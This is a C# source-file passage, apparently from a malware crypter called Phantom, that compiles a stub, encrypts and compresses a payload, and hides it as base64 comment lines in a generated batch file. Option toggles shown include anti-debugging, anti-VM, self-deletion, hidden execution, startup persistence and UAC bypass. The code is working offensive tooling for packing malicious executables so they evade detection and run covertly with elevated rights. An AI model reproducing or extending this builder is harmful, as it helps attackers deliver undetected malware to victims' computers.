else if (fileType == FileType.x64)
{
BStub_Str = "#define x64\n" + BStub_Str;
}
CompilerResults results2 = csc2.CompileAssemblyFromSource(parameters2, BStub_Str);
// Check for compilation errors
if (results2.Errors.Count > 0)
{
// Delete temporary files
File.Delete(@"payload.txt");
File.Delete(tempfile);
// Show error message
MessageBox.Show(@"BStub build error!", @"Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
// Re-enable build button
buildButton.Enabled = true;
// Exit function
return;
}
// Encrypt and compress stub bytes
byte[] bstubbytes = Encrypt(mode, Compress(File.ReadAllBytes(tempfile)), _key, _iv);
// Delete temporary files
File.Delete(@"payload.exe");
File.Delete(tempfile);
// Add message to listBox2
listBox2.Items.Add(@"Encrypting stub...");
// Encrypt and compress stub bytes
byte[] stub_enc = Encrypt(mode, Compress(stubbytes), _key, _iv);
// Add message to listBox2
listBox2.Items.Add(@"Creating batch file...");
// Generate batch file content
string content = FileGen.CreateBat(_key, _iv, mode, hidden.Checked, selfDelete.Checked, runas.Checked, fileType, rng);
// Split content into lines
List<string> content_lines = new List<string>(content.Split(new string[] { Environment.NewLine }, StringSplitOptions.None));
// Insert encrypted stub bytes into content lines at random position
content_lines.Insert(rng.Next(0, content_lines.Count), $":: {Convert.ToBase64String(bstubbytes)}\\{Convert.ToBase64String(stub_enc)}");
content = string.Join(Environment.NewLine, content_lines);
// Initialize SaveFileDialog
SaveFileDialog sfd = new SaveFileDialog()
{
AddExtension = true,
DefaultExt = @"bat",
Title = @"Save File",
Filter = @"Batch files (*.bat)|*.bat",
RestoreDirectory = true,
FileName = Path.ChangeExtension(_input, @"bat")
};
// If file dialog result is OK
if (sfd.ShowDialog() == DialogResult.OK)
{
// Add message to listBox2
listBox2.Items.Add(@"Writing output...");
// Write content to selected file
File.WriteAllText(sfd.FileName, content, Encoding.ASCII);
// Show success message
MessageBox.Show(@"Done!", @"Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
// Re-enable build button
buildButton.Enabled = true;
}
private void CheckVersion()
{
try
{
WebClient wc = new WebClient();
string latestversion = wc.DownloadString("https://raw.githubusercontent.com/C5Hackr/Phantom/main/version").Trim();
wc.Dispose();
if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "\\bin\\latestversion"))
{
string currentversion = File.ReadAllText(AppDomain.CurrentDomain.BaseDirectory + "\\bin\\latestversion").Trim();
if (currentversion != latestversion)
{
DialogResult result = MessageBox.Show($"Phantom {currentversion} is outdated. Download {latestversion}?", "Warning", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Exclamation);
if (result == DialogResult.Yes)
{
Process.Start("https://github.com/C5Hackr/Phantom/releases/tag/" + latestversion);
}
}
}
File.WriteAllText(AppDomain.CurrentDomain.BaseDirectory + "\\bin\\latestversion", latestversion);
}
catch
{
}
}
private static string key1 = @"";
private static string iv1 = @"";
private static string key2 = @"";
private static string iv6 = @"";
private void UpdateKeys(object sender, EventArgs e)
{
AesManaged aes = new AesManaged();
key1 = Convert.ToBase64String(aes.Key);
iv1 = Convert.ToBase64String(aes.IV);
aes.Dispose();
aes = new AesManaged();
key2 = Convert.ToBase64String(aes.Key);
iv6 = Convert.ToBase64String(aes.IV);
aes.Dispose();
}
private void UnpackSettings(SettingsObject obj)
{
textBox1.Text = obj.inputFile;
antiDebug.Checked = obj.antiDebug;
antiVM.Checked = obj.antiVM;
selfDelete.Checked = obj.selfDelete;
hidden.Checked = obj.hidden;
runas.Checked = obj.runas;
startup.Checked = obj.startup;
uacBypass.Checked = obj.uacBypass;
try
{
listBox1.Items.AddRange(obj.bindedFiles);
}
catch
{
}
}
private SettingsObject PackSettings()
{
SettingsObject obj = new SettingsObject()
{
inputFile = textBox1.Text,
antiDebug = antiDebug.Checked,
antiVM = antiVM.Checked,
selfDelete = selfDelete.Checked,
hidden = hidden.Checked,
runas = runas.Checked,
startup = startup.Checked,
uacBypass = uacBypass.Checked,
};
List<string> paths = new List<string>();
foreach (string item in listBox1.Items)
{
paths.Add(item);
}
obj.bindedFiles = paths.ToArray();
return obj;
}
private void startup_CheckedChanged(object sender, EventArgs e)
{
if (startup.Checked)
{
selfDelete.Checked = false;
selfDelete.Enabled = false;
}
else
{
if (!uacBypass.Checked)
{
selfDelete.Enabled = true;
}
}
}
private void uacBypass_CheckedChanged(object sender, EventArgs e)
{
if (uacBypass.Checked)
{
if (runas.Checked)
{
runas.Checked = false;
}
selfDelete.Checked = false;
selfDelete.Enabled = false;
}
else
{
if (!startup.Checked)
{
selfDelete.Enabled = true;
}
}
}
private void runas_CheckedChanged(object sender, EventArgs e)
{
if (runas.Checked)
{
if (uacBypass.Checked)
{
uacBypass.Checked = false;
}
}
}
}
}